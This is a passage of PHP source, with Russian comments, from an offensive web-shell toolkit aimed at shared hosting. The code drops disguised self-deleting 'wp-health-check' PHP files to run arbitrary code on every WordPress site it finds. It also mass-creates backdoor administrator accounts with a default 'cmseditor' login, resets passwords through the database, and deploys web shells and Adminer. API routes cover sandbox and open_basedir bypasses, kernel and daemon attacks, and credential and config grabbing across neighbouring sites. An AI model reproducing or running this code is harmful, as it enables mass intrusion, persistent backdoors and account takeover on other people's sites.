                        $home_query = $conn->query("SELECT option_value FROM `{$table_prefix}options` WHERE option_name = 'home' OR option_name = 'siteurl' LIMIT 1");
                        if ($home_query && $row = $home_query->fetch_assoc()) {
                            $site_url = rtrim($row['option_value'], '/');
                            $result['domain'] = parse_url($site_url, PHP_URL_HOST);
                            $result['url'] = $site_url;
                        }
                        $conn->close();
                    }
                } catch (Exception $e) {
                    // Игнорируем ошибки БД
                }
            }
        }
    }
    
    // Генерируем уникальное имя файла
    $temp_name = 'wp-health-check-' . substr(md5(uniqid() . mt_rand()), 0, 12) . '.php';
    $temp_path = $wp_root . '/' . $temp_name;
    
    // Формируем PHP код с обёрткой
    $full_code = '<' . '?php' . "\n";
    $full_code .= "// Temp exec file - auto delete\n";
    $full_code .= "error_reporting(0);\n";
    $full_code .= "@ini_set('display_errors', 0);\n";
    $full_code .= "ob_start();\n";
    $full_code .= "try {\n";
    $full_code .= $php_code . "\n";
    $full_code .= "} catch (Exception \$e) { echo 'Error: ' . \$e->getMessage(); }\n";
    $full_code .= "\$output = ob_get_clean();\n";
    $full_code .= "echo \$output;\n";
    $full_code .= "// Self-delete\n";
    $full_code .= "@unlink(__FILE__);\n";
    
    // Записываем файл
    if (!@file_put_contents($temp_path, $full_code)) {
        $result['error'] = 'Cannot write temp file';
        return $result;
    }
    
    @chmod($temp_path, 0644);
    
    // Формируем URL для выполнения
    $exec_url = '';
    if ($site_url) {
        $exec_url = $site_url . '/' . $temp_name;
    } else {
        // Пробуем определить URL из текущего запроса или конфига
        $result['error'] = 'Cannot determine site URL';
        @unlink($temp_path);
        return $result;
    }
    
    $result['exec_url'] = $exec_url;
    
    // Выполняем через curl
    if (function_exists('curl_init')) {
        $ch = curl_init();
        curl_setopt_array($ch, array(
            CURLOPT_URL => $exec_url,
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_TIMEOUT => $timeout,
            CURLOPT_SSL_VERIFYPEER => false,
            CURLOPT_SSL_VERIFYHOST => false,
            CURLOPT_FOLLOWLOCATION => true,
            CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
        ));
        
        $output = curl_exec($ch);
        $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        $curl_error = curl_error($ch);
        curl_close($ch);
        
        if ($output !== false && $http_code == 200) {
            $result['success'] = true;
            $result['output'] = $output;
            $result['http_code'] = $http_code;
        } else {
            $result['error'] = $curl_error ?: "HTTP $http_code";
            $result['http_code'] = $http_code;
        }
    } else {
        // Fallback на file_get_contents
        $ctx = stream_context_create(array(
            'http' => array(
                'timeout' => $timeout,
                'ignore_errors' => true
            ),
            'ssl' => array(
                'verify_peer' => false,
                'verify_peer_name' => false
            )
        ));
        
        $output = @file_get_contents($exec_url, false, $ctx);
        if ($output !== false) {
            $result['success'] = true;
            $result['output'] = $output;
        } else {
            $result['error'] = 'Failed to fetch URL';
        }
    }
    
    // Удаляем файл на всякий случай (он должен самоудалиться)
    @unlink($temp_path);
    
    return $result;
}

/**
 * Массовое выполнение PHP кода на всех WordPress сайтах
 * 
 * @param string $php_code - PHP код для выполнения
 * @param int $timeout - таймаут на каждый запрос
 * @param array $wp_paths - пути к WP (если null - ищем автоматически)
 */
function mass_execute_php_on_wp_sites($php_code, $timeout = 10, $wp_paths = null) {
    $results = array(
        'success_count' => 0,
        'failed_count' => 0,
        'total' => 0,
        'sites' => array()
    );
    
    // Если пути не указаны, ищем все WP
    if ($wp_paths === null) {
        $blind_opts = array(
            'wp_only' => true,
            'writable_only' => false,
            'docroots_deep' => true,
            'blind_cap' => 10000,
            'bypass_isolation' => true
        );
        
        $scan_result = blind_scan($blind_opts);
        $wp_paths = array();
        
        if (!empty($scan_result['domains'])) {
            foreach ($scan_result['domains'] as $domain_info) {
                if (!empty($domain_info['paths'])) {
                    foreach ($domain_info['paths'] as $path_info) {
                        if (!empty($path_info['is_wp']) || is_wp_root($path_info['path'])) {
                            $wp_paths[] = $path_info['path'];
                        }
                    }
                }
            }
        }
    }
    
    $wp_paths = array_unique($wp_paths);
    $results['total'] = count($wp_paths);
    
    foreach ($wp_paths as $wp_path) {
        $exec_result = execute_php_on_wp_path($wp_path, $php_code, $timeout);
        
        $site_result = array(
            'path' => $wp_path,
            'domain' => $exec_result['domain'],
            'url' => $exec_result['url'],
            'exec_url' => $exec_result['exec_url'],
            'success' => $exec_result['success'],
            'output' => $exec_result['output'],
            'error' => $exec_result['error'],
            'http_code' => $exec_result['http_code'] ?? null
        );
        
        if ($exec_result['success']) {
            $results['success_count']++;
        } else {
            $results['failed_count']++;
        }
        
        $results['sites'][] = $site_result;
    }
    
    return $results;
}

// ==================== КОНЕЦ НОВЫХ ФУНКЦИЙ ====================

/* Router & UI */
if (isset($_GET['api'])) {
    // Глобальная обработка ошибок для API
    @set_time_limit(300);
    @ini_set('memory_limit', '512M');
    @ini_set('display_errors', 0);
    error_reporting(0);
    
    // Перехват фатальных ошибок
    register_shutdown_function(function() {
        $error = error_get_last();
        if ($error && in_array($error['type'], array(E_ERROR, E_PARSE, E_CORE_ERROR, E_COMPILE_ERROR))) {
            // Очищаем буфер если есть
            while (ob_get_level()) ob_end_clean();
            header('Content-Type: application/json; charset=UTF-8');
            echo json_encode(array(
                'status' => 'error',
                'fatal' => array(
                    'type' => $error['type'],
                    'message' => $error['message'],
                    'file' => basename($error['file']),
                    'line' => $error['line']
                ),
                'hint' => 'Try running individual attacks instead of "all"'
            ));
        }
    });
    
    $api=$_GET['api'];
    if ($api==='ping') json_out(array('status'=>'ok','pong'=>true,'time'=>date('c'),'ver'=>APP_VER));
    if ($api==='env')  json_out(array('status'=>'ok','env'=>php_env_info(),'ver'=>APP_VER));
    if ($api==='scan') {
        $wp_only       = isset($_GET['wp_only']) ? (bool)$_GET['wp_only'] : true;
        $writable_only = isset($_GET['writable_only']) ? (bool)$_GET['writable_only'] : true;
        $q             = isset($_GET['q']) ? (string)$_GET['q'] : '';
        $limit         = isset($_GET['limit']) ? max(1,(int)$_GET['limit']) : 1000;
        $blind         = !empty($_GET['blind']);
        $writable_mode = isset($_GET['writable_mode']) ? $_GET['writable_mode'] : 'effective';

        if ($blind) {
            $blind_opts = array(
                'wp_only'=>$wp_only,
                'writable_only'=>$writable_only,
                'docroots_deep'=>!empty($_GET['docroots_deep']),
                'blind_cap'=> isset($_GET['blind_cap']) ? (int)$_GET['blind_cap'] : 8000,
                'bypass_isolation'=>!empty($_GET['bypass_isolation']),
                'bypass_extended'=>!empty($_GET['bypass_extended']),
                'detect_users'=>!empty($_GET['detect_users']),
                'config_grab'=>!empty($_GET['config_grab']),
                'symlink_grab'=>!empty($_GET['symlink_grab'])
            );
            json_out(array('status'=>'ok','report'=>blind_scan($blind_opts)));
        }

        $find_opts = array(
            'aggr'           => !empty($_GET['scan_aggr']),
            'use_templates'  => isset($_GET['scan_brute']) ? (bool)$_GET['scan_brute'] : true,
            'templates_mode' => isset($_GET['brute_mode']) ? $_GET['brute_mode'] : 'append',
            'templates_text' => isset($_GET['templates']) ? $_GET['templates'] : '',
            'use_defaults'   => isset($_GET['use_defaults']) ? (bool)$_GET['use_defaults'] : true,
            'client_min'     => isset($_GET['client_min']) ? (int)$_GET['client_min'] : 1,
            'client_max'     => isset($_GET['client_max']) ? (int)$_GET['client_max'] : 50,
            'web_min'        => isset($_GET['web_min']) ? (int)$_GET['web_min'] : 1,
            'web_max'        => isset($_GET['web_max']) ? (int)$_GET['web_max'] : 50,
            'cand_limit'     => isset($_GET['cand_limit']) ? (int)$_GET['cand_limit'] : 3500,
            'users_mode'     => isset($_GET['users_mode']) ? $_GET['users_mode'] : 'append',
            'users_custom'   => isset($_GET['users_custom']) ? $_GET['users_custom'] : '',
            'use_docroots'   => isset($_GET['use_docroots']) ? (bool)$_GET['use_docroots'] : true,
            'docroots_deep'  => !empty($_GET['docroots_deep']),
            'env_list'       => isset($_GET['env_list']) ? $_GET['env_list'] : '',
            'global_sweeps'  => !empty($_GET['global_sweeps']),
            'detect_users'   => !empty($_GET['detect_users']),
        );
        json_out(array('status'=>'ok','report'=>build_report($q,$wp_only,$writable_only,$limit,$find_opts,$writable_mode)));
    }
    if ($api==='deploy') json_out(api_deploy($_POST, $_FILES));
    if ($api==='delete') json_out(api_delete($_POST));
    if ($api==='bypass') {
        $target = isset($_GET['target']) ? $_GET['target'] : null;
        $type = isset($_GET['type']) ? $_GET['type'] : 'all';
        $test_write = !empty($_GET['test_write']);
        $results = array();
        if ($type === 'all' || $type === 'open_basedir') {
            $results['open_basedir'] = bypass_open_basedir($target);
            if ($test_write) {
                $results['open_basedir_write_test'] = test_open_basedir_write_bypass();
            }
        }
        if ($type === 'all' || $type === 'cagefs_lve') {
            $results['cagefs_lve'] = bypass_cagefs_lve();
        }
        if ($type === 'all' || $type === 'chroot') {
            $results['chroot'] = bypass_chroot();
        }
        if ($type === 'all' || $type === 'neighbors') {
            $results['neighbors'] = bypass_discover_neighbors();
        }
        if ($type === 'all') {
            $results = bypass_all_restrictions($target);
            if ($test_write) {
                $results['write_test'] = test_open_basedir_write_bypass();
            }
        }
        json_out(array('status'=>'ok','bypass'=>$results,'target'=>$target,'type'=>$type,'test_write'=>$test_write));
    }
    if ($api==='config_grab') {
        $base_path = isset($_GET['path']) ? $_GET['path'] : null;
        $results = config_grab($base_path);
        json_out(array('status'=>'ok','configs'=>$results,'count'=>count($results)));
    }
    if ($api==='symlink_grab') {
        $base_path = isset($_GET['path']) ? $_GET['path'] : null;
        $max_depth = isset($_GET['depth']) ? (int)$_GET['depth'] : 5;
        $results = symlink_grab($base_path, $max_depth);
        json_out(array('status'=>'ok','symlinks'=>$results,'count'=>count($results)));
    }
    
    // ==================== НОВЫЕ API ENDPOINTS ДЛЯ ПЕНТЕСТА ====================
    
    // DB Explorer - обнаружение и анализ БД
    if ($api==='db_explore') {
        if (!csrf_check(isset($_POST['csrf'])?$_POST['csrf']:(isset($_GET['csrf'])?$_GET['csrf']:''))) {
            json_out(array('status'=>'error','message'=>'bad csrf'));
        }
        $path = isset($_POST['path']) ? $_POST['path'] : (isset($_GET['path']) ? $_GET['path'] : '');
        if ($path && is_wp_root($path)) {
            $db_info = db_discovery_and_exploit($path);
            json_out(array('status'=>'ok', 'db_info'=>$db_info, 'path'=>$path));
        } else {
            json_out(array('status'=>'error', 'message'=>'Invalid WordPress path or path not specified'));
        }
    }
    
    // Deploy Adminer
    if ($api==='deploy_adminer') {
        if (!csrf_check(isset($_POST['csrf'])?$_POST['csrf']:'')){
            json_out(array('status'=>'error','message'=>'bad csrf'));
        }
        $path = isset($_POST['path']) ? $_POST['path'] : '';
        $name = isset($_POST['name']) ? $_POST['name'] : 'dbadmin_' . substr(md5(uniqid()), 0, 6) . '.php';
        if ($path) {
            $result = deploy_adminer($path, $name);
            json_out(array('status'=>$result['success']?'ok':'error', 'result'=>$result));
        } else {
            json_out(array('status'=>'error', 'message'=>'Path not specified'));
        }
    }
    
    // Deploy Shell
    if ($api==='deploy_shell') {
        if (!csrf_check(isset($_POST['csrf'])?$_POST['csrf']:'')){
            json_out(array('status'=>'error','message'=>'bad csrf'));
        }
        $path = isset($_POST['path']) ? $_POST['path'] : '';
        $type = isset($_POST['type']) ? $_POST['type'] : 'advanced';
        $name = isset($_POST['name']) ? $_POST['name'] : null;
        if ($path) {
            // Для stealth используем отдельную функцию
            if ($type === 'stealth') {
                $result = deploy_stealth_filemanager($path, $name);
            } else {
                $result = deploy_advanced_webshell($path, $type);
            }
            json_out(array('status'=>$result['success']?'ok':'error', 'result'=>$result));
        } else {
            json_out(array('status'=>'error', 'message'=>'Path not specified'));
        }
    }
    
    // Scan Vulnerabilities
    if ($api==='scan_vulns') {
        if (!csrf_check(isset($_POST['csrf'])?$_POST['csrf']:(isset($_GET['csrf'])?$_GET['csrf']:''))) {
            json_out(array('status'=>'error','message'=>'bad csrf'));
        }
        $path = isset($_POST['path']) ? $_POST['path'] : (isset($_GET['path']) ? $_GET['path'] : '');
        if ($path && is_wp_root($path)) {
            $vulns = wp_vulnerability_scan($path);
            json_out(array('status'=>'ok', 'vulnerabilities'=>$vulns, 'path'=>$path));
        } else {
            json_out(array('status'=>'error', 'message'=>'Invalid WordPress path'));
        }
    }
    
    // Auto Exploit
    if ($api==='auto_exploit') {
        if (!csrf_check(isset($_POST['csrf'])?$_POST['csrf']:'')){
            json_out(array('status'=>'error','message'=>'bad csrf'));
        }
        $path = isset($_POST['path']) ? $_POST['path'] : '';
        if ($path && is_wp_root($path)) {
            $vulns = wp_vulnerability_scan($path);
            $exploits = auto_exploit_vulnerabilities($path, $vulns);
            json_out(array('status'=>'ok', 'vulnerabilities'=>$vulns, 'exploits'=>$exploits, 'path'=>$path));
        } else {
            json_out(array('status'=>'error', 'message'=>'Invalid WordPress path'));
        }
    }
    
    // Advanced Bypass (open_basedir with write)
    if ($api==='advanced_bypass') {
        $results = advanced_open_basedir_bypass_with_write();
        json_out(array('status'=>'ok', 'bypass_results'=>$results));
    }
    
    // SQL Injection Scan
    if ($api==='sqli_scan') {
        if (!csrf_check(isset($_POST['csrf'])?$_POST['csrf']:(isset($_GET['csrf'])?$_GET['csrf']:''))) {
            json_out(array('status'=>'error','message'=>'bad csrf'));
        }
        $url = isset($_POST['url']) ? $_POST['url'] : (isset($_GET['url']) ? $_GET['url'] : '');
        $timeout = isset($_GET['timeout']) ? (int)$_GET['timeout'] : 10;
        if ($url) {
            $results = automated_sql_injection_scan($url, $timeout);
            json_out(array('status'=>'ok', 'sqli_results'=>$results, 'url'=>$url, 'tested'=>count($results)));
        } else {
            json_out(array('status'=>'error', 'message'=>'URL not specified'));
        }
    }
    
    // Generate Pentest Report
    if ($api==='pentest_report') {
        if (!csrf_check(isset($_POST['csrf'])?$_POST['csrf']:(isset($_GET['csrf'])?$_GET['csrf']:''))) {
            json_out(array('status'=>'error','message'=>'bad csrf'));
        }
        $path = isset($_POST['path']) ? $_POST['path'] : (isset($_GET['path']) ? $_GET['path'] : '');
        $save = isset($_POST['save']) ? (bool)$_POST['save'] : (isset($_GET['save']) ? (bool)$_GET['save'] : false);
        if ($path && is_wp_root($path)) {
            $report = generate_pentest_report($path, $save);
            json_out(array('status'=>'ok', 'report'=>$report));
        } else {
            json_out(array('status'=>'error', 'message'=>'Invalid WordPress path'));
        }
    }
    
    // Mass Pentest Report (для всех найденных сайтов)
    if ($api==='mass_pentest') {
        if (!csrf_check(isset($_POST['csrf'])?$_POST['csrf']:'')){
            json_out(array('status'=>'error','message'=>'bad csrf'));
        }
        $limit = isset($_POST['limit']) ? (int)$_POST['limit'] : 50;
        $wp_only = isset($_POST['wp_only']) ? (bool)$_POST['wp_only'] : true;
        
        // Используем blind scan для поиска сайтов
        $blind_opts = array(
            'wp_only' => $wp_only,
            'writable_only' => false,
            'docroots_deep' => true,
            'blind_cap' => 5000,
            'bypass_isolation' => true
        );
        
        $scan_result = blind_scan($blind_opts);
        $reports = array();
        $count = 0;
        
        foreach ($scan_result['domains'] as $domain_info) {
            foreach ($domain_info['paths'] as $path_info) {
                if ($count >= $limit) break 2;
                $path = $path_info['path'];
                if (is_wp_root($path)) {
                    $reports[] = array(
                        'domain' => $domain_info['domain'],
                        'path' => $path,
                        'report' => generate_pentest_report($path, false)
                    );
                    $count++;
                }
            }
        }
        
        json_out(array('status'=>'ok', 'reports'=>$reports, 'count'=>$count, 'scanned_domains'=>count($scan_result['domains'])));
    }
    
    // ==================== ПРОДВИНУТЫЕ АТАКИ API (ЭТАП 2) ====================
    
    // Advanced Attacks - выполнение продвинутых атак
    if ($api==='advanced_attacks') {
        $type = isset($_GET['type']) ? $_GET['type'] : 'all';
        $path = isset($_GET['path']) ? $_GET['path'] : (isset($_POST['path']) ? $_POST['path'] : null);
        $results = array();
        $errors = array();
        
        try {
            if ($type === 'all') {
                // Выполняем каждую атаку отдельно с обработкой ошибок
                try { $results['ldpreload'] = bypass_disable_functions_ldpreload(); } 
                catch (Exception $e) { $errors[] = 'ldpreload: ' . $e->getMessage(); }
                catch (Error $e) { $errors[] = 'ldpreload: ' . $e->getMessage(); }
                
                try { $results['shared_memory'] = shared_memory_attacks(); }
                catch (Exception $e) { $errors[] = 'shared_memory: ' . $e->getMessage(); }
                catch (Error $e) { $errors[] = 'shared_memory: ' . $e->getMessage(); }
                
                try { $results['session_upload'] = session_upload_progress_attack(); }
                catch (Exception $e) { $errors[] = 'session_upload: ' . $e->getMessage(); }
                catch (Error $e) { $errors[] = 'session_upload: ' . $e->getMessage(); }
                
                try { $results['opcache'] = opcache_attacks(); }
                catch (Exception $e) { $errors[] = 'opcache: ' . $e->getMessage(); }
                catch (Error $e) { $errors[] = 'opcache: ' . $e->getMessage(); }
                
                try { $results['kernel'] = advanced_kernel_attacks(); }
                catch (Exception $e) { $errors[] = 'kernel: ' . $e->getMessage(); }
                catch (Error $e) { $errors[] = 'kernel: ' . $e->getMessage(); }
                
                try { $results['daemons'] = find_and_attack_daemons(); }
                catch (Exception $e) { $errors[] = 'daemons: ' . $e->getMessage(); }
                catch (Error $e) { $errors[] = 'daemons: ' . $e->getMessage(); }
                
                try { $results['dns_rebinding'] = dns_rebinding_prepare(); }
                catch (Exception $e) { $errors[] = 'dns_rebinding: ' . $e->getMessage(); }
                catch (Error $e) { $errors[] = 'dns_rebinding: ' . $e->getMessage(); }
                
                if ($path && is_wp_root($path)) {
                    try { $results['database'] = db_discovery_and_exploit($path); }
                    catch (Exception $e) { $errors[] = 'database: ' . $e->getMessage(); }
                    catch (Error $e) { $errors[] = 'database: ' . $e->getMessage(); }
                }
                
                $results['timestamp'] = date('c');
                $results['_errors'] = $errors;
            } else {
                if ($type === 'ldpreload') {
                    $results['ldpreload'] = bypass_disable_functions_ldpreload();
                }
                if ($type === 'shared_memory') {
                    $results['shared_memory'] = shared_memory_attacks();
                }
                if ($type === 'session_upload') {
                    $results['session_upload'] = session_upload_progress_attack();
                }
                if ($type === 'opcache') {
                    $results['opcache'] = opcache_attacks();
                }
                if ($type === 'kernel') {
                    $results['kernel'] = advanced_kernel_attacks();
                }
                if ($type === 'daemons') {
                    $results['daemons'] = find_and_attack_daemons();
                }
                if ($type === 'dns_rebinding') {
                    $results['dns_rebinding'] = dns_rebinding_prepare();
                }
            }
            
            json_out(array('status'=>'ok', 'type'=>$type, 'advanced_attacks'=>$results));
        } catch (Exception $e) {
            json_out(array('status'=>'error', 'type'=>$type, 'message'=>$e->getMessage(), 'partial_results'=>$results));
        } catch (Error $e) {
            json_out(array('status'=>'error', 'type'=>$type, 'message'=>$e->getMessage(), 'partial_results'=>$results));
        }
    }
    
    // CORS Vulnerability Check
    if ($api==='cors_check') {
        $url = isset($_GET['url']) ? $_GET['url'] : (isset($_POST['url']) ? $_POST['url'] : '');
        if ($url) {
            $results = cors_vulnerability_check($url);
            json_out(array('status'=>'ok', 'url'=>$url, 'cors_results'=>$results));
        } else {
            json_out(array('status'=>'error', 'message'=>'URL required'));
        }
    }
    
    // SSI Injection Check
    if ($api==='ssi_check') {
        $url = isset($_GET['url']) ? $_GET['url'] : (isset($_POST['url']) ? $_POST['url'] : '');
        if ($url) {
            $results = ssi_injection_check($url);
            json_out(array('status'=>'ok', 'url'=>$url, 'ssi_results'=>$results));
        } else {
            json_out(array('status'=>'error', 'message'=>'URL required'));
        }
    }
    
    // Privilege Escalation Scan
    if ($api==='privesc') {
        $results = privilege_escalation_scan();
        json_out(array('status'=>'ok', 'privesc'=>$results));
    }
    
    // cPanel Access Scan
    if ($api==='cpanel') {
        $results = cpanel_access_scan();
        json_out(array('status'=>'ok', 'cpanel'=>$results));
    }
    
    // LD_PRELOAD Bypass
    if ($api==='ldpreload') {
        $results = bypass_disable_functions_ldpreload();
        json_out(array('status'=>'ok', 'ldpreload'=>$results));
    }
    
    // Shared Memory Attacks
    if ($api==='shm_attack') {
        $results = shared_memory_attacks();
        json_out(array('status'=>'ok', 'shared_memory'=>$results));
    }
    
    // Session Upload Progress Attack
    if ($api==='session_upload') {
        $results = session_upload_progress_attack();
        json_out(array('status'=>'ok', 'session_upload'=>$results));
    }
    
    // OPcache Attacks
    if ($api==='opcache_attack') {
        $results = opcache_attacks();
        json_out(array('status'=>'ok', 'opcache'=>$results));
    }
    
    // Kernel Attacks
    if ($api==='kernel_attack') {
        $results = advanced_kernel_attacks();
        json_out(array('status'=>'ok', 'kernel'=>$results));
    }
    
    // Find Daemons
    if ($api==='find_daemons') {
        $results = find_and_attack_daemons();
        json_out(array('status'=>'ok', 'daemons'=>$results));
    }
    
    // DNS Rebinding Prepare
    if ($api==='dns_rebinding') {
        $results = dns_rebinding_prepare();
        json_out(array('status'=>'ok', 'dns_rebinding'=>$results));
    }
    
    // ==================== МАССОВЫЙ ДЕПЛОЙ НА СОСЕДЕЙ ====================
    
    // Быстрый скан соседей (только разведка)
    if ($api==='neighbor_scan') {
        $max = isset($_GET['max']) ? (int)$_GET['max'] : 100;
        $results = quick_neighbor_scan($max);
        json_out(array('status'=>'ok', 'neighbor_scan'=>$results));
    }
    
    // Массовый деплой маркера на соседей
    if ($api==='neighbor_deploy') {
        if (!csrf_check(isset($_POST['csrf'])?$_POST['csrf']:'')){
            json_out(array('status'=>'error','message'=>'bad csrf'));
        }
        
        $marker_name = isset($_POST['marker_name']) ? $_POST['marker_name'] : 'marker.txt';
        $marker_content = isset($_POST['marker_content']) ? $_POST['marker_content'] : '';
        
        $options = array(
            'dry_run' => isset($_POST['dry_run']) ? (bool)$_POST['dry_run'] : false,
            'use_bypass' => isset($_POST['use_bypass']) ? (bool)$_POST['use_bypass'] : true,
            'use_db' => isset($_POST['use_db']) ? (bool)$_POST['use_db'] : true,
            'use_symlinks' => isset($_POST['use_symlinks']) ? (bool)$_POST['use_symlinks'] : true,
            'use_shm' => isset($_POST['use_shm']) ? (bool)$_POST['use_shm'] : true,
            'max_neighbors' => isset($_POST['max_neighbors']) ? (int)$_POST['max_neighbors'] : 500,
            'subdir' => isset($_POST['subdir']) ? $_POST['subdir'] : '',
            'overwrite' => isset($_POST['overwrite']) ? (bool)$_POST['overwrite'] : false
        );
        
        $results = mass_neighbor_marker_deploy($marker_name, $marker_content, $options);
        json_out(array('status'=>'ok', 'neighbor_deploy'=>$results));
    }
    
    // Очистка деплоенных маркеров
    if ($api==='neighbor_cleanup') {
        if (!csrf_check(isset($_POST['csrf'])?$_POST['csrf']:'')){
            json_out(array('status'=>'error','message'=>'bad csrf'));
        }
        
        $marker_name = isset($_POST['marker_name']) ? $_POST['marker_name'] : 'marker.txt';
        $deploy_results = isset($_POST['deploy_results']) ? json_decode($_POST['deploy_results'], true) : array();
        
        $results = mass_neighbor_marker_cleanup($marker_name, $deploy_results);
        json_out(array('status'=>'ok', 'cleanup'=>$results));
    }
    
    // ==================== НОВЫЕ API ENDPOINTS (из "Что нужно внедрить.txt") ====================
    
    // Сканирование панелей управления хостингом
    if ($api==='scan_panels') {
        $panels = detect_hosting_panels();
        json_out(array('status' => 'ok', 'panels' => $panels, 'count' => count($panels)));
    }
    
    // Поиск страниц авторизации
    if ($api==='find_logins') {
        $url = isset($_POST['url']) ? $_POST['url'] : (isset($_GET['url']) ? $_GET['url'] : '');
        if (!$url) {
            $url = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? 'https' : 'http') . '://' . ($_SERVER['HTTP_HOST'] ?? 'localhost');
        }
        $logins = scan_login_pages($url);
        json_out(array('status' => 'ok', 'logins' => $logins, 'url' => $url));
    }
    
    // Смена пароля через БД
    if ($api==='change_password') {
        if (!csrf_check(isset($_POST['csrf'])?$_POST['csrf']:'')){
            json_out(array('status'=>'error','message'=>'bad csrf'));
        }
        $target = isset($_POST['target']) ? $_POST['target'] : '';
        $username = isset($_POST['username']) ? $_POST['username'] : '';
        $new_password = isset($_POST['new_password']) ? $_POST['new_password'] : '';
        
        if (!$target || !$username || !$new_password) {
            json_out(array('status'=>'error', 'message'=>'Missing required parameters: target, username, new_password'));
        }
        
        $result = change_password_via_database($target, $username, $new_password);
        json_out(array_merge(array('status' => $result['success'] ? 'ok' : 'error'), $result));
    }
    
    // Расширенное обнаружение доменов
    if ($api==='mass_discover') {
        $domains = advanced_domain_discovery();
        json_out(array('status' => 'ok', 'domains' => $domains, 'count' => count($domains)));
    }
    
    // Массовое выполнение скрипта
    if ($api==='mass_execute') {
        if (!csrf_check(isset($_POST['csrf'])?$_POST['csrf']:'')){
            json_out(array('status'=>'error','message'=>'bad csrf'));
        }
        
        $domains_input = isset($_POST['domains']) ? $_POST['domains'] : '';
        $domains = $domains_input ? json_decode($domains_input, true) : advanced_domain_discovery();
        
        if (!$domains || !is_array($domains)) {
            $domains = advanced_domain_discovery();
        }
        
        $script = isset($_POST['script']) ? $_POST['script'] : '<?php echo "Executed on " . $_SERVER["HTTP_HOST"]; ?>';
        $method = isset($_POST['method']) ? $_POST['method'] : 'curl';
        
        $results = mass_deploy_and_execute($domains, $script, $method);
        json_out(array('status' => 'ok', 'results' => $results, 'domains_count' => count($domains)));
    }
    
    // Браузерная автоматизация
    if ($api==='browser_execute') {
        $domains_input = isset($_POST['domains']) ? $_POST['domains'] : '';
        $domains = $domains_input ? json_decode($domains_input, true) : advanced_domain_discovery();
        
        if (!$domains || !is_array($domains)) {
            $domains = advanced_domain_discovery();
        }
        
        $script_url = isset($_POST['script_url']) ? $_POST['script_url'] : '/wp-content/uploads/test.php';
        $result = browser_based_mass_execution($domains, $script_url);
        json_out(array_merge(array('status' => 'ok'), $result));
    }
    
    // Эксплуатация сброса пароля
    if ($api==='exploit_reset') {
        $url = isset($_POST['url']) ? $_POST['url'] : (isset($_GET['url']) ? $_GET['url'] : '');
        $attack_type = isset($_POST['attack_type']) ? $_POST['attack_type'] : (isset($_GET['attack_type']) ? $_GET['attack_type'] : 'password_reset');
        
        if (!$url) {
            json_out(array('status'=>'error', 'message'=>'URL required'));
        }
        
        $result = exploit_password_reset($url, $attack_type);
        json_out(array('status' => 'ok', 'result' => $result, 'url' => $url, 'attack_type' => $attack_type));
    }
    
    // Проверка DNS записей
    if ($api==='dns_check') {
        $domain = isset($_GET['domain']) ? $_GET['domain'] : (isset($_POST['domain']) ? $_POST['domain'] : '');
        $type = isset($_GET['type']) ? strtoupper($_GET['type']) : 'A';
        
        if (!$domain) {
            json_out(array('status'=>'error', 'message'=>'Domain required'));
        }
        
        $exists = check_dns_record_ext($domain, $type);
        json_out(array('status' => 'ok', 'domain' => $domain, 'type' => $type, 'exists' => $exists));
    }
    
    // Поиск WordPress установок
    if ($api==='find_wp') {
        $paths = isset($_GET['paths']) ? json_decode($_GET['paths'], true) : null;
        $installations = find_wordpress_installations($paths);
        json_out(array('status' => 'ok', 'installations' => $installations, 'count' => count($installations)));
    }
    
    // Массовое создание админов на всех WP сайтах
    if ($api==='mass_create_admin') {
        if (!csrf_check(isset($_POST['csrf'])?$_POST['csrf']:'')){
            json_out(array('status'=>'error','message'=>'bad csrf'));
        }
        
        $admin_login = isset($_POST['login']) ? trim($_POST['login']) : 'cmseditor';
        // Хэш пароля в формате WordPress phpass ($P$B...)
        $admin_password_hash = isset($_POST['password_hash']) ? trim($_POST['password_hash']) : '$P$BPRTBfgNGzgFiZM5ktB5yhaA6rlXTI/';
        // Plaintext пароль для отображения пользователю
        $password_display = isset($_POST['password_display']) ? $_POST['password_display'] : 'cmseditor';
        $admin_email = isset($_POST['email']) && $_POST['email'] ? $_POST['email'] : null;
        $wp_paths_json = isset($_POST['paths']) ? $_POST['paths'] : null;
        $wp_paths = $wp_paths_json ? json_decode($wp_paths_json, true) : null;
        
        if (strlen($admin_login) < 3) {
            json_out(array('status'=>'error', 'message'=>'Login must be at least 3 characters'));
        }
        // Проверяем что хэш похож на WordPress phpass формат
        if (strpos($admin_password_hash, '$P$') !== 0 && strpos($admin_password_hash, '$2') !== 0) {
            json_out(array('status'=>'error', 'message'=>'Password hash must be in WordPress phpass format (starts with $P$B or $2)'));
        }
        
        $results = mass_create_wp_admins($admin_login, $admin_password_hash, $password_display, $admin_email, $wp_paths);
        json_out(array('status' => 'ok', 'results' => $results));
    }
    
    // Создание админа на одном сайте
    if ($api==='create_single_admin') {
        if (!csrf_check(isset($_POST['csrf'])?$_POST['csrf']:'')){
            json_out(array('status'=>'error','message'=>'bad csrf'));
        }
        
        $wp_path = isset($_POST['path']) ? trim($_POST['path']) : '';
        $admin_login = isset($_POST['login']) ? trim($_POST['login']) : 'cmseditor';
        $admin_password_hash = isset($_POST['password_hash']) ? trim($_POST['password_hash']) : '$P$BPRTBfgNGzgFiZM5ktB5yhaA6rlXTI/';
        $password_display = isset($_POST['password_display']) ? $_POST['password_display'] : 'cmseditor';
        $admin_email = isset($_POST['email']) && $_POST['email'] ? $_POST['email'] : null;
        
        if (!$wp_path) {
            json_out(array('status'=>'error', 'message'=>'Path required'));
        }
        
        $result = create_wp_admin_on_path($wp_path, $admin_login, $admin_password_hash, $admin_email, $password_display);
        json_out(array('status' => $result['success'] ? 'ok' : 'error', 'result' => $result));
    }
    
    // Массовое выполнение PHP кода на всех WP сайтах
    if ($api==='mass_php_exec') {
        if (!csrf_check(isset($_POST['csrf'])?$_POST['csrf']:'')){
            json_out(array('status'=>'error','message'=>'bad csrf'));
        }
        
        $php_code = isset($_POST['code']) ? $_POST['code'] : '';
        $timeout = isset($_POST['timeout']) ? (int)$_POST['timeout'] : 10;
        $wp_paths_json = isset($_POST['paths']) ? $_POST['paths'] : null;
        $wp_paths = $wp_paths_json ? json_decode($wp_paths_json, true) : null;
        
        if (empty($php_code)) {
            json_out(array('status'=>'error', 'message'=>'PHP code is required'));
        }
        
        // Ограничиваем таймаут
        $timeout = max(5, min(60, $timeout));
        
